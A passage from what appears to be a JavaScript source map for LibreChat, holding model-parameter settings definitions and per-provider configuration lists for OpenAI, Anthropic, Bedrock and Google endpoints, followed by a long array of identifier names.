[ReasoningSummary.detailed]: 'com_ui_detailed',\n },\n optionType: 'model',\n columnSpan: 4,\n },\n verbosity: {\n key: 'verbosity',\n label: 'com_endpoint_verbosity',\n labelCode: true,\n description: 'com_endpoint_openai_verbosity',\n descriptionCode: true,\n type: 'enum',\n default: Verbosity.none,\n component: 'slider',\n options: [Verbosity.none, Verbosity.low, Verbosity.medium, Verbosity.high],\n enumMappings: {\n [Verbosity.none]: 'com_ui_none',\n [Verbosity.low]: 'com_ui_low',\n [Verbosity.medium]: 'com_ui_medium',\n [Verbosity.high]: 'com_ui_high',\n },\n optionType: 'model',\n columnSpan: 4,\n },\n disableStreaming: {\n key: 'disableStreaming',\n label: 'com_endpoint_disable_streaming_label',\n labelCode: true,\n description: 'com_endpoint_disable_streaming',\n descriptionCode: true,\n type: 'boolean',\n default: false,\n component: 'switch',\n optionType: 'model',\n showDefault: false,\n columnSpan: 2,\n } as const,\n};\n\nconst anthropic: Record<string, SettingDefinition> = {\n maxOutputTokens: {\n key: 'maxOutputTokens',\n label: 'com_endpoint_max_output_tokens',\n labelCode: true,\n type: 'number',\n component: 'input',\n description: 'com_endpoint_anthropic_maxoutputtokens',\n descriptionCode: true,\n placeholder: 'com_nav_theme_system',\n placeholderCode: true,\n range: {\n min: anthropicSettings.maxOutputTokens.min,\n max: anthropicSettings.maxOutputTokens.max,\n step: anthropicSettings.maxOutputTokens.step,\n },\n optionType: 'model',\n columnSpan: 2,\n },\n temperature: createDefinition(baseDefinitions.temperature, {\n default: anthropicSettings.temperature.default,\n range: {\n min: anthropicSettings.temperature.min,\n max: anthropicSettings.temperature.max,\n step: anthropicSettings.temperature.step,\n },\n }),\n topP: createDefinition(baseDefinitions.topP, {\n default: anthropicSettings.topP.default,\n range: {\n min: anthropicSettings.topP.min,\n max: anthropicSettings.topP.max,\n step: anthropicSettings.topP.step,\n },\n }),\n topK: {\n key: 'topK',\n label: 'com_endpoint_top_k',\n labelCode: true,\n description: 'com_endpoint_anthropic_topk',\n descriptionCode: true,\n type: 'number',\n default: anthropicSettings.topK.default,\n range: {\n min: anthropicSettings.topK.min,\n max: anthropicSettings.topK.max,\n step: anthropicSettings.topK.step,\n },\n component: 'slider',\n optionType: 'model',\n columnSpan: 4,\n },\n promptCache: {\n key: 'promptCache',\n label: 'com_endpoint_prompt_cache',\n labelCode: true,\n description: 'com_endpoint_anthropic_prompt_cache',\n descriptionCode: true,\n type: 'boolean',\n default: anthropicSettings.promptCache.default,\n component: 'switch',\n optionType: 'conversation',\n showDefault: false,\n columnSpan: 2,\n },\n thinking: {\n key: 'thinking',\n label: 'com_endpoint_thinking',\n labelCode: true,\n description: 'com_endpoint_anthropic_thinking',\n descriptionCode: true,\n type: 'boolean',\n default: anthropicSettings.thinking.default,\n component: 'switch',\n optionType: 'conversation',\n showDefault: false,\n columnSpan: 2,\n },\n thinkingBudget: {\n key: 'thinkingBudget',\n label: 'com_endpoint_thinking_budget',\n labelCode: true,\n description: 'com_endpoint_anthropic_thinking_budget',\n descriptionCode: true,\n type: 'number',\n component: 'input',\n default: anthropicSettings.thinkingBudget.default,\n range: {\n min: anthropicSettings.thinkingBudget.min,\n max: anthropicSettings.thinkingBudget.max,\n step: anthropicSettings.thinkingBudget.step,\n },\n optionType: 'conversation',\n columnSpan: 2,\n },\n web_search: {\n key: 'web_search',\n label: 'com_ui_web_search',\n labelCode: true,\n description: 'com_endpoint_anthropic_use_web_search',\n descriptionCode: true,\n type: 'boolean',\n default: anthropicSettings.web_search.default,\n component: 'switch',\n optionType: 'conversation',\n showDefault: false,\n columnSpan: 2,\n },\n effort: {\n key: 'effort',\n label: 'com_endpoint_effort',\n labelCode: true,\n description: 'com_endpoint_anthropic_effort',\n descriptionCode: true,\n type: 'enum',\n default: anthropicSettings.effort.default,\n component: 'slider',\n options: anthropicSettings.effort.options,\n enumMappings: {\n [AnthropicEffort.unset]: 'com_ui_auto',\n [AnthropicEffort.low]: 'com_ui_low',\n [AnthropicEffort.medium]: 'com_ui_medium',\n [AnthropicEffort.high]: 'com_ui_high',\n [AnthropicEffort.max]: 'com_ui_max',\n },\n optionType: 'model',\n columnSpan: 4,\n },\n};\n\nconst bedrock: Record<string, SettingDefinition> = {\n system: {\n key: 'system',\n label: 'com_endpoint_prompt_prefix',\n labelCode: true,\n type: 'string',\n default: '',\n component: 'textarea',\n placeholder: 'com_endpoint_openai_prompt_prefix_placeholder',\n placeholderCode: true,\n optionType: 'model',\n },\n region: {\n key: 'region',\n type: 'string',\n label: 'com_ui_region',\n labelCode: true,\n component: 'combobox',\n optionType: 'conversation',\n selectPlaceholder: 'com_ui_select_region',\n searchPlaceholder: 'com_ui_select_search_region',\n searchPlaceholderCode: true,\n selectPlaceholderCode: true,\n columnSpan: 2,\n },\n maxTokens: {\n key: 'maxTokens',\n label: 'com_endpoint_max_output_tokens',\n labelCode: true,\n type: 'number',\n component: 'input',\n description: 'com_endpoint_anthropic_maxoutputtokens',\n descriptionCode: true,\n placeholder: 'com_nav_theme_system',\n placeholderCode: true,\n optionType: 'model',\n columnSpan: 2,\n },\n temperature: createDefinition(baseDefinitions.temperature, {\n default: 1,\n range: { min: 0, max: 1, step: 0.01 },\n }),\n topK: createDefinition(anthropic.topK, {\n range: { min: 0, max: 500, step: 1 },\n }),\n topP: createDefinition(baseDefinitions.topP, {\n default: 0.999,\n range: { min: 0, max: 1, step: 0.01 },\n }),\n promptCache: {\n key: 'promptCache',\n label: 'com_endpoint_prompt_cache',\n labelCode: true,\n type: 'boolean',\n description: 'com_endpoint_anthropic_prompt_cache',\n descriptionCode: true,\n default: true,\n component: 'switch',\n optionType: 'conversation',\n showDefault: false,\n columnSpan: 2,\n },\n reasoning_effort: {\n key: 'reasoning_effort',\n label: 'com_endpoint_reasoning_effort',\n labelCode: true,\n description: 'com_endpoint_bedrock_reasoning_effort',\n descriptionCode: true,\n type: 'enum',\n default: ReasoningEffort.unset,\n component: 'slider',\n options: [\n ReasoningEffort.unset,\n ReasoningEffort.low,\n ReasoningEffort.medium,\n ReasoningEffort.high,\n ],\n enumMappings: {\n [ReasoningEffort.unset]: 'com_ui_off',\n [ReasoningEffort.low]: 'com_ui_low',\n [ReasoningEffort.medium]: 'com_ui_medium',\n [ReasoningEffort.high]: 'com_ui_high',\n },\n optionType: 'model',\n columnSpan: 4,\n },\n};\n\nconst mistral: Record<string, SettingDefinition> = {\n temperature: createDefinition(baseDefinitions.temperature, {\n default: 0.7,\n range: { min: 0, max: 1, step: 0.01 },\n }),\n topP: createDefinition(baseDefinitions.topP, {\n range: { min: 0, max: 1, step: 0.01 },\n }),\n};\n\nconst cohere: Record<string, SettingDefinition> = {\n temperature: createDefinition(baseDefinitions.temperature, {\n default: 0.3,\n range: { min: 0, max: 1, step: 0.01 },\n }),\n topP: createDefinition(baseDefinitions.topP, {\n default: 0.75,\n range: { min: 0.01, max: 0.99, step: 0.01 },\n }),\n};\n\nconst meta: Record<string, SettingDefinition> = {\n temperature: createDefinition(baseDefinitions.temperature, {\n default: 0.5,\n range: { min: 0, max: 1, step: 0.01 },\n }),\n topP: createDefinition(baseDefinitions.topP, {\n default: 0.9,\n range: { min: 0, max: 1, step: 0.01 },\n }),\n};\n\nconst google: Record<string, SettingDefinition> = {\n temperature: createDefinition(baseDefinitions.temperature, {\n default: googleSettings.temperature.default,\n range: {\n min: googleSettings.temperature.min,\n max: googleSettings.temperature.max,\n step: googleSettings.temperature.step,\n },\n }),\n topP: createDefinition(baseDefinitions.topP, {\n default: googleSettings.topP.default,\n range: {\n min: googleSettings.topP.min,\n max: googleSettings.topP.max,\n step: googleSettings.topP.step,\n },\n }),\n topK: {\n key: 'topK',\n label: 'com_endpoint_top_k',\n labelCode: true,\n description: 'com_endpoint_google_topk',\n descriptionCode: true,\n type: 'number',\n default: googleSettings.topK.default,\n range: {\n min: googleSettings.topK.min,\n max: googleSettings.topK.max,\n step: googleSettings.topK.step,\n },\n component: 'slider',\n optionType: 'model',\n columnSpan: 4,\n },\n maxOutputTokens: {\n key: 'maxOutputTokens',\n label: 'com_endpoint_max_output_tokens',\n labelCode: true,\n type: 'number',\n component: 'input',\n description: 'com_endpoint_google_maxoutputtokens',\n descriptionCode: true,\n placeholder: 'com_nav_theme_system',\n placeholderCode: true,\n default: googleSettings.maxOutputTokens.default,\n range: {\n min: googleSettings.maxOutputTokens.min,\n max: googleSettings.maxOutputTokens.max,\n step: googleSettings.maxOutputTokens.step,\n },\n optionType: 'model',\n columnSpan: 2,\n },\n thinking: {\n key: 'thinking',\n label: 'com_endpoint_thinking',\n labelCode: true,\n description: 'com_endpoint_google_thinking',\n descriptionCode: true,\n type: 'boolean',\n default: googleSettings.thinking.default,\n component: 'switch',\n optionType: 'conversation',\n showDefault: false,\n columnSpan: 2,\n },\n thinkingBudget: {\n key: 'thinkingBudget',\n label: 'com_endpoint_thinking_budget',\n labelCode: true,\n description: 'com_endpoint_google_thinking_budget',\n descriptionCode: true,\n placeholder: 'com_ui_auto',\n placeholderCode: true,\n type: 'number',\n component: 'input',\n range: {\n min: googleSettings.thinkingBudget.min,\n max: googleSettings.thinkingBudget.max,\n step: googleSettings.thinkingBudget.step,\n },\n optionType: 'conversation',\n columnSpan: 2,\n },\n thinkingLevel: {\n key: 'thinkingLevel',\n label: 'com_endpoint_thinking_level',\n labelCode: true,\n description: 'com_endpoint_google_thinking_level',\n descriptionCode: true,\n type: 'enum',\n default: ThinkingLevel.unset,\n component: 'slider',\n options: [\n ThinkingLevel.unset,\n ThinkingLevel.minimal,\n ThinkingLevel.low,\n ThinkingLevel.medium,\n ThinkingLevel.high,\n ],\n enumMappings: {\n [ThinkingLevel.unset]: 'com_ui_auto',\n [ThinkingLevel.minimal]: 'com_ui_minimal',\n [ThinkingLevel.low]: 'com_ui_low',\n [ThinkingLevel.medium]: 'com_ui_medium',\n [ThinkingLevel.high]: 'com_ui_high',\n },\n optionType: 'conversation',\n columnSpan: 4,\n },\n web_search: {\n key: 'web_search',\n label: 'com_endpoint_use_search_grounding',\n labelCode: true,\n description: 'com_endpoint_google_use_search_grounding',\n descriptionCode: true,\n type: 'boolean',\n default: false,\n component: 'switch',\n optionType: 'model',\n showDefault: false,\n columnSpan: 2,\n },\n};\n\nconst googleConfig: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n google.maxOutputTokens,\n google.temperature,\n google.topP,\n google.topK,\n librechat.resendFiles,\n google.thinking,\n google.thinkingBudget,\n google.thinkingLevel,\n google.web_search,\n librechat.fileTokenLimit,\n];\n\nconst googleCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst googleCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n google.maxOutputTokens,\n google.temperature,\n google.topP,\n google.topK,\n librechat.resendFiles,\n google.thinking,\n google.thinkingBudget,\n google.thinkingLevel,\n google.web_search,\n librechat.fileTokenLimit,\n];\n\nconst openAI: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n openAIParams.max_tokens,\n openAIParams.temperature,\n openAIParams.top_p,\n openAIParams.frequency_penalty,\n openAIParams.presence_penalty,\n baseDefinitions.stop,\n librechat.resendFiles,\n baseDefinitions.imageDetail,\n openAIParams.web_search,\n openAIParams.reasoning_effort,\n openAIParams.useResponsesApi,\n openAIParams.reasoning_summary,\n openAIParams.verbosity,\n openAIParams.disableStreaming,\n librechat.fileTokenLimit,\n];\n\nconst openAICol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst openAICol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n openAIParams.max_tokens,\n openAIParams.temperature,\n openAIParams.top_p,\n openAIParams.frequency_penalty,\n openAIParams.presence_penalty,\n baseDefinitions.stop,\n librechat.resendFiles,\n baseDefinitions.imageDetail,\n openAIParams.reasoning_effort,\n openAIParams.reasoning_summary,\n openAIParams.verbosity,\n openAIParams.useResponsesApi,\n openAIParams.web_search,\n openAIParams.disableStreaming,\n librechat.fileTokenLimit,\n];\n\nconst anthropicConfig: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n anthropic.maxOutputTokens,\n anthropic.temperature,\n anthropic.topP,\n anthropic.topK,\n librechat.resendFiles,\n anthropic.promptCache,\n anthropic.thinking,\n anthropic.thinkingBudget,\n anthropic.effort,\n anthropic.web_search,\n librechat.fileTokenLimit,\n];\n\nconst anthropicCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst anthropicCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n anthropic.maxOutputTokens,\n anthropic.temperature,\n anthropic.topP,\n anthropic.topK,\n librechat.resendFiles,\n anthropic.promptCache,\n anthropic.thinking,\n anthropic.thinkingBudget,\n anthropic.effort,\n anthropic.web_search,\n librechat.fileTokenLimit,\n];\n\nconst bedrockAnthropic: SettingsConfiguration = [\n librechat.modelLabel,\n bedrock.system,\n librechat.maxContextTokens,\n bedrock.maxTokens,\n bedrock.temperature,\n bedrock.topP,\n bedrock.topK,\n baseDefinitions.stop,\n librechat.resendFiles,\n bedrock.region,\n bedrock.promptCache,\n anthropic.thinking,\n anthropic.thinkingBudget,\n anthropic.effort,\n librechat.fileTokenLimit,\n];\n\nconst bedrockMistral: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n bedrock.maxTokens,\n mistral.temperature,\n mistral.topP,\n librechat.resendFiles,\n bedrock.region,\n librechat.fileTokenLimit,\n];\n\nconst bedrockCohere: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n bedrock.maxTokens,\n cohere.temperature,\n cohere.topP,\n librechat.resendFiles,\n bedrock.region,\n librechat.fileTokenLimit,\n];\n\nconst bedrockGeneral: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n meta.temperature,\n meta.topP,\n librechat.resendFiles,\n bedrock.region,\n bedrock.promptCache,\n librechat.fileTokenLimit,\n];\n\nconst bedrockAnthropicCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n bedrock.system,\n baseDefinitions.stop,\n];\n\nconst bedrockAnthropicCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n bedrock.maxTokens,\n bedrock.temperature,\n bedrock.topP,\n bedrock.topK,\n librechat.resendFiles,\n bedrock.region,\n bedrock.promptCache,\n anthropic.thinking,\n anthropic.thinkingBudget,\n anthropic.effort,\n librechat.fileTokenLimit,\n];\n\nconst bedrockMistralCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst bedrockMistralCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n bedrock.maxTokens,\n mistral.temperature,\n mistral.topP,\n librechat.resendFiles,\n bedrock.region,\n librechat.fileTokenLimit,\n];\n\nconst bedrockCohereCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst bedrockCohereCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n bedrock.maxTokens,\n cohere.temperature,\n cohere.topP,\n librechat.resendFiles,\n bedrock.region,\n librechat.fileTokenLimit,\n];\n\nconst bedrockGeneralCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst bedrockGeneralCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n meta.temperature,\n meta.topP,\n librechat.resendFiles,\n bedrock.region,\n bedrock.promptCache,\n librechat.fileTokenLimit,\n];\n\nconst bedrockZAI: SettingsConfiguration = [\n librechat.modelLabel,\n librechat.promptPrefix,\n librechat.maxContextTokens,\n meta.temperature,\n meta.topP,\n librechat.resendFiles,\n bedrock.region,\n bedrock.reasoning_effort,\n librechat.fileTokenLimit,\n];\n\nconst bedrockZAICol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n librechat.promptPrefix,\n];\n\nconst bedrockZAICol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n meta.temperature,\n meta.topP,\n librechat.resendFiles,\n bedrock.region,\n bedrock.reasoning_effort,\n librechat.fileTokenLimit,\n];\n\nconst bedrockMoonshot: SettingsConfiguration = [\n librechat.modelLabel,\n bedrock.system,\n librechat.maxContextTokens,\n createDefinition(bedrock.maxTokens, {\n default: 16384,\n }),\n bedrock.temperature,\n bedrock.topP,\n baseDefinitions.stop,\n librechat.resendFiles,\n bedrock.region,\n bedrock.reasoning_effort,\n librechat.fileTokenLimit,\n];\n\nconst bedrockMoonshotCol1: SettingsConfiguration = [\n baseDefinitions.model as SettingDefinition,\n librechat.modelLabel,\n bedrock.system,\n baseDefinitions.stop,\n];\n\nconst bedrockMoonshotCol2: SettingsConfiguration = [\n librechat.maxContextTokens,\n createDefinition(bedrock.maxTokens, {\n default: 16384,\n }),\n bedrock.temperature,\n bedrock.topP,\n librechat.resendFiles,\n bedrock.region,\n bedrock.reasoning_effort,\n librechat.fileTokenLimit,\n];\n\nexport const paramSettings: Record<string, SettingsConfiguration | undefined> = {\n [EModelEndpoint.openAI]: openAI,\n [EModelEndpoint.azureOpenAI]: openAI,\n [EModelEndpoint.custom]: openAI,\n [EModelEndpoint.anthropic]: anthropicConfig,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Anthropic}`]: bedrockAnthropic,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.MistralAI}`]: bedrockMistral,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Cohere}`]: bedrockCohere,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Meta}`]: bedrockGeneral,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.AI21}`]: bedrockGeneral,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Amazon}`]: bedrockGeneral,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.DeepSeek}`]: bedrockGeneral,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Moonshot}`]: bedrockMoonshot,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.MoonshotAI}`]: bedrockMoonshot,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.OpenAI}`]: bedrockGeneral,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.ZAI}`]: bedrockZAI,\n [EModelEndpoint.google]: googleConfig,\n};\n\nconst openAIColumns = {\n col1: openAICol1,\n col2: openAICol2,\n};\n\nconst bedrockGeneralColumns = {\n col1: bedrockGeneralCol1,\n col2: bedrockGeneralCol2,\n};\n\nexport const presetSettings: Record<\n string,\n | {\n col1: SettingsConfiguration;\n col2: SettingsConfiguration;\n }\n | undefined\n> = {\n [EModelEndpoint.openAI]: openAIColumns,\n [EModelEndpoint.azureOpenAI]: openAIColumns,\n [EModelEndpoint.custom]: openAIColumns,\n [EModelEndpoint.anthropic]: {\n col1: anthropicCol1,\n col2: anthropicCol2,\n },\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Anthropic}`]: {\n col1: bedrockAnthropicCol1,\n col2: bedrockAnthropicCol2,\n },\n [`${EModelEndpoint.bedrock}-${BedrockProviders.MistralAI}`]: {\n col1: bedrockMistralCol1,\n col2: bedrockMistralCol2,\n },\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Cohere}`]: {\n col1: bedrockCohereCol1,\n col2: bedrockCohereCol2,\n },\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Meta}`]: bedrockGeneralColumns,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.AI21}`]: bedrockGeneralColumns,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Amazon}`]: bedrockGeneralColumns,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.DeepSeek}`]: bedrockGeneralColumns,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.Moonshot}`]: {\n col1: bedrockMoonshotCol1,\n col2: bedrockMoonshotCol2,\n },\n [`${EModelEndpoint.bedrock}-${BedrockProviders.MoonshotAI}`]: {\n col1: bedrockMoonshotCol1,\n col2: bedrockMoonshotCol2,\n },\n [`${EModelEndpoint.bedrock}-${BedrockProviders.OpenAI}`]: bedrockGeneralColumns,\n [`${EModelEndpoint.bedrock}-${BedrockProviders.ZAI}`]: {\n col1: bedrockZAICol1,\n col2: bedrockZAICol2,\n },\n [EModelEndpoint.google]: {\n col1: googleCol1,\n col2: googleCol2,\n },\n};\n\nexport const agentParamSettings: Record<string, SettingsConfiguration | undefined> = Object.entries(\n presetSettings,\n).reduce<Record<string, SettingsConfiguration | undefined>>((acc, [key, value]) => {\n if (value) {\n acc[key] = value.col2;\n }\n return acc;\n}, {});\n"],"names":["Tools","EToolResources","AnnotationTypes","StepStatus","MessageContentTypes","RunStatus","envVarRegex","SENSITIVE_ENV_VARS","Set","isSensitiveEnvVar","varName","has","extractVariableName","value","match","trim","extractEnvVariable","trimmed","singleMatch","process","env","regex","result","matches","exec","push","fullMatch","index","i","length","_a","envValue","substring","normalizeEndpointName","name","toLowerCase","FilePurpose","actionDelimiter","actionDomainSeparator","hostImageIdSuffix","hostImageNamePrefix","AssistantStreamEvents","defaultOrderQuery","order","limit","FEEDBACK_RATINGS","FEEDBACK_REASON_KEYS","FEEDBACK_TAGS","key","label","direction","icon","getTagsForRating","rating","filter","tag","feedbackTagKeySchema","z","enum","feedbackRatingSchema","feedbackSchema","object","text","string","max","optional","toMinimalFeedback","feedback","getTagByKey","find","AuthType","isUUID","uuid","EModelEndpoint","Providers","authTypeSchema","nativeEnum","BedrockProviders","documentSupportedProviders","anthropic","openAI","bedrock","custom","google","VERTEXAI","MISTRALAI","MISTRAL","DEEPSEEK","MOONSHOT","OPENROUTER","XAI","openAILikeProviders","OPENAI","AZURE","isOpenAILikeProvider","provider","isDocumentSupportedProvider","paramEndpoints","agents","azureOpenAI","ImageDetail","ReasoningEffort","AnthropicEffort","BedrockReasoningConfig","ReasoningSummary","Verbosity","ThinkingLevel","getModelKey","endpoint","model","parts","split","part","Object","values","includes","getSettingsKeys","endpointKey","modelKey","concat","isAssistantsEndpoint","_endpoint","endsWith","assistants","isAgentsEndpoint","isParamEndpoint","endpointType","imageDetailNumeric","low","auto","high","imageDetailValue","eImageDetailSchema","eReasoningEffortSchema","eAnthropicEffortSchema","eReasoningSummarySchema","eVerbositySchema","eThinkingLevelSchema","defaultAssistantFormValues","assistant","id","description","instructions","conversation_starters","functions","code_interpreter","image_vision","retrieval","append_current_datetime","defaultAgentFormValues","_b","agent","model_parameters","tools","tool_options","edges","artifacts","recursion_limit","undefined","execute_code","file_search","web_search","category","support_contact","email","ImageVisionTool","_c","type","function","parameters","properties","required","isImageVisionTool","tool","openAISettings","default","temperature","min","step","top_p","presence_penalty","frequency_penalty","resendFiles","maxContextTokens","max_tokens","imageDetail","googleSettings","maxOutputTokens","topP","topK","thinking","thinkingBudget","thinkingLevel","unset","ANTHROPIC_MAX_OUTPUT","CLAUDE_4_64K_MAX_OUTPUT","CLAUDE_32K_MAX_OUTPUT","anthropicSettings","promptCache","reset","modelName","test","set","legacy","effort","options","medium","agentsSettings","endpointSettings","_d","eModelEndpointSchema","extendedModelEndpointSchema","union","tPluginAuthConfigSchema","authField","boolean","tPluginSchema","pluginKey","authConfig","array","authenticated","chatMenu","isButton","toolkit","tExampleSchema","input","content","output","tMessageSchema","messageId","clientId","nullable","conversationId","parentMessageId","responseMessageId","overrideParentMessageId","bg","title","or","literal","sender","generation","isCreatedByUser","error","clientTimestamp","createdAt","Date","toISOString","updatedAt","current","unfinished","searchResult","finish_reason","thread_id","iconURL","metadata","record","unknown","contextMeta","calibrationRatio","number","describe","encoding","coerceNumber","transform","val","parseFloat","DocumentType","lazy","null","tConversationSchema","isArchived","user","messages","modelLabel","userLabel","promptPrefix","system","stream","context","examples","tags","file_ids","reasoning_effort","reasoning_summary","verbosity","useResponsesApi","disableStreaming","assistant_id","agent_id","region","maxTokens","additionalModelRequestFields","additional_instructions","presetOverride","stop","greeting","spec","expiredAt","fileTokenLimit","resendImages","chatGptLabel","tPresetSchema","omit","merge","presetId","defaultPreset","tConvoUpdateSchema","tQueryParamsSchema","pick","tModelSpecPresetSchema","tSharedLinkSchema","shareId","isPublic","tConversationTagSchema","_id","count","position","googleBaseSchema","googleSchema","obj","removeNullishValues","catch","googleGenConfigSchema","presencePenalty","frequencyPenalty","stopSequences","thinkingConfig","includeThoughts","strip","removeEmptyStrings","newObj","__assign","keys","forEach","ComponentTypes","SettingTypes","OptionTypes","assistantSchema","_e","_f","_g","_h","compactAssistantSchema","agentsBaseSchema","agentsSchema","_j","_k","_l","_m","_o","openAIBaseSchema","openAISchema","compactGoogleSchema","anthropicBaseSchema","anthropicSchema","tBannerSchema","bannerId","message","displayFrom","displayTo","persistable","compactAgentsBaseSchema","compactAgentsSchema","requiredSettingFields","generateDynamicSchema","settings","schemaFields","_i","settings_1","setting","defaultValue","range","minText","maxText","minTags","maxTags","Number","Boolean","String","Enum","Array","console","warn","schema","ZodArray","isArray","ZodTypeToSettingType","ZodString","ZodNumber","ZodBoolean","validateSettingDefinitions","errors","columnsSet","settings_2","columns","code","ZodIssueCode","path","add","size","next","settings_3","requiredSettingFields_1","field","settingTypes","join","component","Tags","Input","Textarea","placeholder","Slider","includeInput","Math","round","Checkbox","Switch","Dropdown","Combobox","columnSpan","floor","optionType","Custom","conversationSchema","shape","zodType","_def","typeName","isNaN","enumMappings","option","ZodError","generateOpenAISchema","customOpenAI","defaults","generateGoogleSchema","customGoogle","tModelSpecSchema","preset","group","groupIcon","showIconInMenu","showIconInHeader","authType","webSearch","fileSearch","executeCode","mcpServers","specsConfigSchema","enforce","prioritize","list","addedEndpoints","supportsFiles","azureAssistants","excelFileTypes","fullMimeTypesList","__spreadArray","codeInterpreterMimeTypesList","retrievalMimeTypesList","imageExtRegex","bedrockDocumentFormats","isBedrockDocumentType","mimeType","bedrockDocumentExtensions","excelMimeTypes","textMimeTypes","applicationMimeTypes","imageMimeTypes","audioMimeTypes","videoMimeTypes","defaultOCRMimeTypes","documentParserMimeTypes","defaultTextMimeTypes","defaultSTTMimeTypes","supportedMimeTypes","codeInterpreterMimeTypes","codeTypeMapping","c","cs","cpp","h","md","php","py","rb","tex","java","js","sh","ts","tar","zip","txt","log","csv","tsv","parquet","json","xml","html","htm","css","yml","yaml","sql","dart","coffee","go","rs","swift","kt","kts","scala","lua","r","pl","pm","groovy","gradle","clj","cljs","cljc","elm","erl","hrl","ex","exs","hs","lhs","ml","mli","fs","fsx","lisp","cl","scm","rkt","jsx","tsx","vue","svelte","astro","scss","sass","less","styl","toml","ini","cfg","conf","graphql","gql","proto","dockerfile","makefile","cmake","rake","gemspec","bash","zsh","fish","ps1","psm1","bat","cmd","asm","s","v","zig","nim","cr","d","pas","pp","f90","f95","f03","jl","m","mm","ada","adb","ads","cob","cbl","tcl","awk","sed","odt","ods","odp","odg","imageTypeMapping","heic","heif","mimeTypeAliases","inferMimeType","fileName","currentType","extension","pop","retrievalMimeTypes","megabyte","mbToBytes","mb","defaultSizeLimit","assistantsFileConfig","fileLimit","fileSizeLimit","totalSizeLimit","disabled","fileConfig","endpoints","serverFileSizeLimit","avatarSizeLimit","clientImageResize","enabled","maxWidth","maxHeight","quality","ocr","stt","checkType","fileType","supportedTypes","some","supportedMimeTypesSchema","any","refine","mimeTypes","every","RegExp","endpointFileConfigSchema","fileConfigSchema","imageGeneration","percentage","px","convertStringsToRegex","patterns","reduce","acc","pattern","mergeWithDefault","endpointConfig","defaultConfig","defaultMimeTypes","getEndpointFileConfig","params","mergedFileConfig","baseDefaultConfig","userDefaultConfig","normalizedEndpoint","standardEndpoints","normalizedEndpointType","mergeFileConfig","dynamic","mergedConfig","dynamicEndpoint","mergedEndpoint","BASE_URL","browser","baseEl","document","querySelector","getAttribute","slice","apiBaseUrl","buildQuery","query","entries","map","encodeURIComponent","messagesRoot","rest","__rest","messagesArtifacts","shareRoot","shareMessages","getSharedLinks","pageSize","sortBy","sortDirection","search","cursor","keysEndpoint","apiKeysEndpoint","apiKeys","conversationsRoot","conversations","presets","loginPage","registerPage","LOGIN_PATH_RE","buildLoginRedirectUrl","pathname","hash","p","window","location","stripped","startsWith","currentPath","FileSources","prompts","version","url","isAvatar","images","queryParams","URLSearchParams","toString","mcp","servers","mcpServer","serverName","files","speech","textToSpeech","getPromptGroup","getPrompt","postPrompt","updatePromptGroup","deletePromptGroup","getRole","roleName","conversationTags","memories","memory","FileContext","AuthTypeEnum","AuthorizationTypeEnum","TokenExchangeMethodEnum","checkOpenAIStorage","source","openai","azure","SettingsViews","BaseOptionsSchema","startup","iconPath","timeout","sseReadTimeout","positive","initTimeout","serverInstructions","requiresOAuth","oauth","authorization_url","token_url","client_id","client_secret","scope","redirect_uri","token_exchange_method","grant_types_supported","token_endpoint_auth_methods_supported","response_types_supported","code_challenge_methods_supported","skip_code_challenge_check","revocation_endpoint","revocation_endpoint_auth_methods_supported","oauth_headers","apiKey","authorization_type","custom_header","customUserVars","StdioOptionsSchema","extend","command","args","processedEnv","stderr","int","nonnegative","WebSocketOptionsSchema","pipe","protocol","URL","SSEOptionsSchema","headers","StreamableHTTPOptionsSchema","MCPOptionsSchema","MCPServersSchema","omitServerManagedFields","envVarPattern","isHttpProtocol","userUrlSchema","protocolCheck","MCPServerUserInputSchema","defaultSocialLogins","defaultRetrievalModels","excludedKeys","fileSourceSc